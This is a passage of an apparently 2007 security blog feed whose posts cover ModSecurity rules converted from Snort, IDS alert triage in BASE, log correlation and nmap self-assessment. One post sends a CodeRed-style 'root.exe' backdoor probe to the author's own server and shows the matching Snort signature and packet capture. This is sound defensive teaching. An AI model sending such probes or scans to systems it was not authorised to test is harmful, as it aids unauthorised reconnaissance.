rackmount'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2577032175886796499</id><published>2007-10-08T21:21:00.000-04:00</published><updated>2007-12-31T19:28:27.086-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snort rule conversion'/><category scheme='http://www.blogger.com/atom/ns#' term='ModSecurity'/><title type='text'>Updated Modsecurity rules by converting Snort rules</title><content type='html'>Using the tool shown &lt;a href="http://www.modsecurity.org/documentation/converted-snort-rules.html"&gt;here&lt;/a&gt;, I was able to convert the latest snort rules into Modsecurity rules!&lt;br /&gt;&lt;br /&gt;Previous to this, I'd created my own (crude) rules that blocked most of the traffic I had concerns about, but I wanted something more.  I converted the latest Snort rules to Modsecurity rules, ending up with 852 new Modsecurity rules (12 of which I created).&lt;br /&gt;&lt;br /&gt;This is already paying off.  I'm seeing a good bit of rejected or warning-type (but passing) traffic.  Also, the web rejections are actually triggering Snort alerts (attack responses), which is great, as it gives me more data to investigate when perusing my Snort logs.&lt;br /&gt;&lt;br /&gt;I also had issues with maybe 7 of the converted rules.  I've yet to look at why they wouldn't work without Apache erroring out, but I've disabled them.  I'll take a look at them sometime soon.&lt;br /&gt;&lt;br /&gt;`&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2577032175886796499?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2577032175886796499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2577032175886796499' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2577032175886796499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2577032175886796499'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/10/updated-modsecurity-rules-by-converting.html' title='Updated Modsecurity rules by converting Snort rules'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5358340540986532038</id><published>2007-10-08T17:46:00.000-04:00</published><updated>2007-12-31T19:28:58.999-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='analytics'/><category scheme='http://www.blogger.com/atom/ns#' term='BASE'/><title type='text'>Snort/BASE and Analytics</title><content type='html'>This post is not related to Slackware, but will cover a method of utilizing BASE to conduct analysis.  I'm including screenshots of my BASE setup when conducting analysis to describe how I utilize BASE and correlate logged activity.  &lt;span style="color: rgb(255, 0, 0);"&gt;The below is NOT the only methods of conducting analytics with BASE.  This method works for me and offers me quick results.&lt;/span&gt;  In fact, if you've other methods, please post or e-mail me so that I can know different ways of using this SEM.&lt;br /&gt;&lt;br /&gt;If you're not familiar with BASE, please visit &lt;a href="http://base.secureideas.net/"&gt;the project's site&lt;/a&gt;.  BASE is a browser-based console that presents intrusion detection logs in various readable formats.&lt;br /&gt;&lt;br /&gt;Here is a screenshot of the root page:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DYU25XfzLMA/Rwqzb9ovDfI/AAAAAAAAAAo/jUIQymFMVAA/s1600-h/base1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer;" src="http://3.bp.blogspot.com/_DYU25XfzLMA/Rwqzb9ovDfI/AAAAAAAAAAo/jUIQymFMVAA/s200/base1.png" alt="" id="BLOGGER_PHOTO_ID_5119101219443248626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Within the upper left-hand corner (within the blue field), there are what I call "canned queries", that will allow you to see certain subsets of data.  The ones that I focus on the most are&lt;br /&gt;&lt;br /&gt;- Today's alerts&lt;br /&gt;- Last 24 Hours alerts&lt;br /&gt;- Last 72 Hours alerts&lt;br /&gt;- Most recent 15 Alerts&lt;br /&gt;- Most recent 15 Unique Alerts&lt;br /&gt;- Most frequent 5 Unique Alerts&lt;br /&gt;&lt;br /&gt;Out of those, I focus on "Last 72 Hours alerts" most frequently.&lt;br /&gt;&lt;br /&gt;Let us delve into the last 72 hours' events.  Note in the image that I've circled this link.  Please either follow along if you've BASE installed, or follow this diatribe and its image links.    Either click the circled link or open it in a new tab or browser.  I tend to open BASE links in a new browser instance, as it gives me a separate area to dig into a new investigation.  This way, if I've several concerns, I've a browser window for each.&lt;br /&gt;&lt;br /&gt;After clicking the 72-hour link, you should see something similar to below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DYU25XfzLMA/Rwq2ldovDiI/AAAAAAAAABA/XedNPQ2v05s/s1600-h/base2-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_DYU25XfzLMA/Rwq2ldovDiI/AAAAAAAAABA/XedNPQ2v05s/s200/base2-1.png" alt="" id="BLOGGER_PHOTO_ID_5119104681186889250" border="0" /&gt;&lt;/a&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DYU25XfzLMA/Rwq4TdovDkI/AAAAAAAAABQ/zbnHrukbc1c/s1600-h/base2-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DYU25XfzLMA/Rwq4TdovDkI/AAAAAAAAABQ/zbnHrukbc1c/s200/base2-2.png" alt="" id="BLOGGER_PHOTO_ID_5119106570972499522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've split the browser window into two pages, since the alerts scroll down the page.  For this exercise, we're going to focus on the second image, specifically the "WEB-PHP remote include path" events (toward the bottom).  I chose these events because I wanted a good example of how to correlate events per IP.  Click on this link (circled in RED) or open the link in a new browser/tab.  You may see something similar to the following browser window:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DYU25XfzLMA/Rwq7ltovDmI/AAAAAAAAABg/8GoPxsfLNJc/s1600-h/base3-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer;" src="http://2.bp.blogspot.com/_DYU25XfzLMA/Rwq7ltovDmI/AAAAAAAAABg/8GoPxsfLNJc/s200/base3-1.png" alt="" id="BLOGGER_PHOTO_ID_5119110183039995490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In this example, 37 alerts are showing, with various source IPs (or what I call SIPs) and, in this case, one destination IP (what I call a DIP).  Note that there could be more than one DIP, such as when you've two web servers or two IPs that are sharing a NIC.  In the above browser window, I've a few IPs apparently attacking my web server.  How do I make it so I see one line per SIP yet get enough situational awareness that I have an idea of which SIP generated what number of alerts on a DIP?  The "Unique IP Links" in the upper right corner (circled in RED).  Click on that link and you should see something similar to the following:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DYU25XfzLMA/Rwq8etovDnI/AAAAAAAAABo/f71MOkMnSy0/s1600-h/base4-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_DYU25XfzLMA/Rwq8etovDnI/AAAAAAAAABo/f71MOkMnSy0/s200/base4-1.png" alt="" id="BLOGGER_PHOTO_ID_5119111162292538994" border="0" /&gt;&lt;/a&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DYU25XfzLMA/RwrNXdovDsI/AAAAAAAAACQ/uFw5vK5CVdw/s1600-h/base5-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DYU25XfzLMA/RwrNXdovDsI/AAAAAAAAACQ/uFw5vK5CVdw/s200/base5-1.png" alt="" id="BLOGGER_PHOTO_ID_5119129729436159682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What's changed?  The traffic is now matched based on unique traffic.  Let's focus on "90-179-94.adsl.cust.tie.cl/200.90.179.94".  This IP shows as a source and destination IP.  Why?  Because the IDS sensor logged both the web server's sending and receiving traffic (bi-directional).  Note that this only happens when a response signature triggers (we'll see this in the next screenshot).  If the web server response does not trigger a signature, the IDS won't log an alert.  This is where signature tuning comes in handy...you really don't want to see legitimate HTTP 202 (OK) traffic being logged unless absolutely necessary.  You only want concerning traffic to be logged.  Now, note the brackets (sloppy) in RED in the above right screenshot.  I'm going to click the 200.90.179.94 IP because I want to know what's going on there.  I also observed this IP in the lower half of the screen (not screenshotted for brevity) alerting on my other IP (the NIC is dual-homed).  Click on the IP and you'll see something similar:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DYU25XfzLMA/RwrW29ovDtI/AAAAAAAAACY/F6p_9VUqpEM/s1600-h/base6-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer;" src="http://3.bp.blogspot.com/_DYU25XfzLMA/RwrW29ovDtI/AAAAAAAAACY/F6p_9VUqpEM/s200/base6-1.png" alt="" id="BLOGGER_PHOTO_ID_5119140166206688978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can study this page for a moment, but its just a page to gain a further understanding of who owns the IP.  The real resources on this page are circled in RED.  We'll click on both, starting with "Source/Destination", then "Unique Alerts".  Open them in separate windows so you can compare.  While both may show similar alerts, each is valuable:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DYU25XfzLMA/RwrGQ9ovDqI/AAAAAAAAACA/_CKjIrlH7qA/s1600-h/base6-2.png"&gt;&lt;img style="margin: 0px auto 10px; float: left; text-align: left; cursor: pointer;" src="http://3.bp.blogspot.com/_DYU25XfzLMA/RwrGQ9ovDqI/AAAAAAAAACA/_CKjIrlH7qA/s200/base6-2.png" alt="" id="BLOGGER_PHOTO_ID_5119121921185615522" border="0" /&gt;&lt;/a&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DYU25XfzLMA/RwrJYtovDrI/AAAAAAAAACI/V2_qEb57C-Q/s1600-h/base6-3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_DYU25XfzLMA/RwrJYtovDrI/AAAAAAAAACI/V2_qEb57C-Q/s200/base6-3.png" alt="" id="BLOGGER_PHOTO_ID_5119125352864485042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The view on the left shows every unique attack and attack response regarding the attacking IP.  The view on the right shows a summary of the attacks, with a description of "4 unique alerts detected among 16 alerts on 200.90.179.94/32".  The right view also shows that you can dig down into each category of alert, if you chose.&lt;br /&gt;&lt;br /&gt;Which view do I rely on?  For a quick view, I usually use the right screenshot, but I also use the left screenshot method for when I want to see everything the attacking IP did (and how my server responded).  Note that I didn't obfuscate the whole of my server's IP.  I wanted to show an example of this method of analysis showing EVERYTHING the attacker did, including reaching out to both of my IPs.&lt;br /&gt;&lt;br /&gt;I'm not going to go further.  I just wanted to highlight how BASE can be used efficiently.  Anything further would get into payload analysis, which is beyond the scope of today's post.&lt;br /&gt;&lt;br /&gt;Stay tuned for a possible swf2vnc movie capture of using BASE.  This will happen as soon as I can figure out how to mask my public IPs.  This task may get me to delve into using my Macs to edit the SWF movies (we'll see if that is possible, with free- or shareware).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5358340540986532038?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5358340540986532038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5358340540986532038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5358340540986532038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5358340540986532038'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/10/snortbase-and-analytics.html' title='Snort/BASE and Analytics'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DYU25XfzLMA/Rwqzb9ovDfI/AAAAAAAAAAo/jUIQymFMVAA/s72-c/base1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5131784834613261689</id><published>2007-09-15T23:23:00.000-04:00</published><updated>2007-12-31T19:30:25.132-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='correlation'/><title type='text'>Log Correlation</title><content type='html'>I thought I'd talk about the importance of log correlation.  For instance, you've found that someone is continually pinging your server.  You want to see if your box is responding to the pings.  Usually, you'll know right off, since most people know if their firewall was configured to block pings...I'm just using pings as a quick example, though.  Log correlation usually consists of checking, for instance, web server logs against firewall logs, or Snort logs against firewall and web server logs.  This helps you understand what suspicious activity is actually doing and if your server/workstation responded (and how it responded, if it did).&lt;br /&gt;&lt;br /&gt;I run Snort on a server, along with a web server, which is firewalled with IPTables.  I have Snort report what it sees to a MySQL database, although it does record captures to a PCAP file locally.  I also run Modsecurity, an application firewall that is designed to sniff and possibly block traffic going to/from web servers, mainly Apache.  So, I've a ton of logs that I can correlate:  Snort, Apache, IPTables, and Modsecurity logs.&lt;br /&gt;&lt;br /&gt;We'll pick something easy.  In fact, I'll fabricate some logs by generating some false alerts.  I'll use 'wget', to visit my website.  Keep in mind that what you see below gives you the advantage...you know what you're doing and looking for when we soon check the logs.  This won't be the case when some stranger or worm hits your firewall or web server (or any other application server).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-bash-2.05b$ wget wigglit.ath.cx/root.exe&lt;br /&gt;--23:24:05--  http://wigglit.ath.cx/root.exe&lt;br /&gt;         =&gt; `root.exe'&lt;br /&gt;Resolving wigglit.ath.cx... 66.160.141.30&lt;br /&gt;Connecting to wigglit.ath.cx|66.160.141.30|:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 404 Not Found&lt;br /&gt;23:24:06 ERROR 404: Not Found.&lt;br /&gt;&lt;br /&gt;-bash-2.05b$ &lt;/blockquote&gt;I used root.exe because there is an old vulnerability was was used to exploit the CodeRed worm of old.  Now, let's check the web server's logs.  I've tail'd my logs:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@starchild:/var/log/apache# tail -f -n 100 access_log&lt;br /&gt;12.123.12.123 - - [15/Sep/2007:23:34:35 -0400] "GET /root.exe HTTP/1.0" 404 202&lt;br /&gt;12.123.12.123 - - [15/Sep/2007:23:34:35 -0400] "GET /root.exe HTTP/1.0" 404 202 "-" "Wget/1.10.2"&lt;/blockquote&gt;You see that the communcation was rejected (404 code), as the traffic was deemed forbidden by the web server.  This is usually a good indication, as the server didn't respond favorably to the attack.&lt;br /&gt;&lt;br /&gt;Now, let us check the firewall logs.  We already know that the firewall allowed the traffic, since the web server responded with a 404...if the traffic was being blocked, there would be no record of the attack in the logs, because the firewall would have intercepted the traffic before it reached the web server.  We're checking the firewall logs just to be sure this guy hasn't done anything else that the web server didn't see:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Sep 12 17:28:34 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=34557 DF PROTO=TCP SPT=46656 DPT=10083 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:28:44 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=18168 DF PROTO=TCP SPT=40091 DPT=449 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:28:44 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=27053 DF PROTO=TCP SPT=36295 DPT=5060 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:28:54 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=29291 DF PROTO=TCP SPT=47590 DPT=342 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:28:54 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=11788 DF PROTO=TCP SPT=43604 DPT=1519 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:04 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=17600 DF PROTO=TCP SPT=32783 DPT=577 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:04 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=51338 DF PROTO=TCP SPT=47879 DPT=18187 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:14 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=58520 DF PROTO=TCP SPT=41983 DPT=517 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:14 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=20255 DF PROTO=TCP SPT=53355 DPT=1986 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:24 starchild kernel: Connection attempt (PRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=28213 DF PROTO=TCP SPT=38543 DPT=978 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:24 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=60 TOS=0x00 PREC=0x00 TTL=56 ID=10244 DF PROTO=TCP SPT=45624 DPT=11371 WINDOW=5840 RES=0x00 SYN URGP=0&lt;br /&gt;Sep 12 17:29:37 starchild kernel: ICMP-request: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=28 TOS=0x00 PREC=0x00 TTL=42 ID=53002 PROTO=ICMP TYPE=8 CODE=0 ID=10683 SEQ=16615&lt;br /&gt;Sep 15 17:38:25 starchild sshd[8455]: Accepted publickey for ron from ::ffff:12.123.12.123 port 33557 ssh2&lt;br /&gt;Sep 15 23:21:08 starchild kernel: ICMP-request: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=12.123.12.123 DST=66.160.141.30 LEN=84 TOS=0x00 PREC=0x00 TTL=55 ID=40988 PROTO=ICMP TYPE=8 CODE=0 ID=614 SEQ=0&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Quite a bit of stuff, huh?  This looks to be a port scan!  This is something that we didn't see in the Apache logs!  Good thing we checked!  Looks like this IP needs to be blocked with IPTables (which we won't do in this exercise).&lt;br /&gt;&lt;br /&gt;Sadly, nothing shows in the Modsecurity logs, but we've enough information already.  What about Snort?  Because I've PCAP files, the search becomes a bit more involved.  I'll spare the intimate details, but this is what we see:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[**] [1:1256:9] WEB-IIS CodeRed v2 root.exe access [**]&lt;br /&gt;[Classification: Web Application Attack] [Priority: 1]&lt;br /&gt;09/15-23:34:35.708546 0:C:DB:F5:90:0 -&gt; FE:FD:40:3E:E7:DC type:0x800 len:0xB0&lt;br /&gt;12.123.12.123:52753 -&gt; 66.160.141.30:80 TCP TTL:56 TOS:0x0 ID:51589 IpLen:20 DgmLen:162 DF&lt;br /&gt;***AP*** Seq: 0xAF32BB68  Ack: 0x3F319F7A  Win: 0xFFFF  TcpLen: 32&lt;br /&gt;TCP Options (3) =&gt; NOP NOP TS: 288652007 1521931210&lt;br /&gt;[Xref =&gt; http://www.cert.org/advisories/CA-2001-19.html]&lt;br /&gt;&lt;br /&gt;23:34:35.708546 00:0c:db:f5:90:00 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 176: IP (tos 0x0, ttl  56, id 51589, offset 0, flags [DF], length: 162) 12.123.12.123.52753 &gt; 66.160.141.30.80: P [tcp sum ok] 2939337576:2939337686(110) ack 1060216698 win 65535 &lt;nop,nop,timestamp&gt;&lt;br /&gt;      0x0000:  fefd 403e e7dc 000c dbf5 9000 0800 4500  ..@&gt;..........E.&lt;br /&gt;      0x0010:  00a2 c985 4000 3806 56c0 47b2 0aa0 42a0  ....@.8.V.G...B.&lt;br /&gt;      0x0020:  8d1e ce11 0050 af32 bb68 3f31 9f7a 8018  .....P.2.h?1.z..&lt;br /&gt;      0x0030:  ffff e9c5 0000 0101 080a 1134 7ae7 5ab6  ...........4z.Z.&lt;br /&gt;      0x0040:  d3ca 4745 5420 2f72 6f6f 742e 6578 6520  ..GET./root.exe.&lt;br /&gt;      0x0050:  4854 5450 2f31 2e30 0d0a 5573 6572 2d41  HTTP/1.0..User-A&lt;br /&gt;      0x0060:  6765 6e74 3a20 5767 6574 2f31 2e31 302e  gent:.Wget/1.10.&lt;br /&gt;      0x0070:  320d 0a41 6363 6570 743a 202a 2f2a 0d0a  2..Accept:.*/*..&lt;br /&gt;      0x0080:  486f 7374 3a20 7769 6767 6c69 742e 6174  Host:.wigglit.at&lt;br /&gt;      0x0090:  682e 6378 0d0a 436f 6e6e 6563 7469 6f6e  h.cx..Connection&lt;br /&gt;      0x00a0:  3a20 4b65 6570 2d41 6c69 7665 0d0a 0d0a  :.Keep-Alive....&lt;br /&gt;&lt;br /&gt;&lt;/nop,nop,timestamp&gt;&lt;/blockquote&gt;The first is the Snort alert file...this is a fast alert, with minimal detail (no packet capture).  The second section is the full alert, including packet capture.  It is also garbled (due to the hex code and the fact that this blog has issues with formatting)  Note that my logs show no response.  Apparently, my Snort install doesn't have a 404 signature.  Again, the fact that we can correlate helps me when my Snort install lacks the data that I may have needed.  I was able to look at the Apache logs to see the 404 when my Snort logs didn't show the return traffic.&lt;br /&gt;&lt;br /&gt;Well, this concludes our chat about correlating existing logs.  Note that any log files can be correlated.  Correlation can also assist in tracking down network issues or issues with, for instance, a faulty Snort install (ahem).  Although this discussion focused more on security, hopefully this helps someone understand their network or software architecture also.&lt;br /&gt;&lt;br /&gt;`&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5131784834613261689?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5131784834613261689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5131784834613261689' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5131784834613261689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5131784834613261689'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/09/log-correlation.html' title='Log Correlation'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4761437100277796879</id><published>2007-09-12T20:09:00.000-04:00</published><updated>2007-12-31T19:31:13.491-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='LAN'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='scans'/><category scheme='http://www.blogger.com/atom/ns#' term='loopback'/><title type='text'>Assessment of a Hardened Box</title><content type='html'>I thought I'd do a piece on *nix security.  This will be a general guide on how to determine what ports have listening services and how to assess if those ports are available to the world wide web.&lt;br /&gt;&lt;br /&gt;I like to do three different things:&lt;br /&gt;&lt;br /&gt;1.  Run Nmap against localhost (127.0.0.1).&lt;br /&gt;2.  Run Nmap against the machine's IP from another machine within the LAN.&lt;br /&gt;3.  Run Nmap against the machine from the internet.&lt;br /&gt;&lt;br /&gt;Running Nmap against localhost can be deceiving, as the ports that are listening on the machine may not actually available to another machine, on or off the LAN.  Note that 127.0.0.1 only pertains to the local machine.  This is the loopback address that every machine uses to communicate to itself.  I'll compare a localhost scan against a scan that was conducted from another machine on the LAN.&lt;br /&gt;&lt;br /&gt;I'll scan localhost first:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote style="font-weight: bold;"&gt;-su-2.05b# nmap localhost&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-09-12 17:20 EDT&lt;br /&gt;Interesting ports on localhost.home (127.0.0.1):&lt;br /&gt;Not shown: 1674 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;22/tcp   open  ssh&lt;br /&gt;25/tcp   open  smtp&lt;br /&gt;3306/tcp open  mysql&lt;br /&gt;5801/tcp open  vnc-http-1&lt;br /&gt;5901/tcp open  vnc-1&lt;br /&gt;6001/tcp open  X11:1&lt;br /&gt;&lt;br /&gt;Nmap finished: 1 IP address (1 host up) scanned in 10.662 seconds&lt;/blockquote&gt;Now, I'll scan the machine's IP from another machine:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;root@slackbox:~# nmap 10.150.1.103&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Starting Nmap 4.20 ( http://insecure.org ) at 2007-09-12 17:36 EDT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Interesting ports on delly (10.150.1.103):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Not shown: 1693 filtered ports&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PORT     STATE  SERVICE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;22/tcp   open   ssh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;80/tcp   open   http&lt;/span&gt;&lt;br 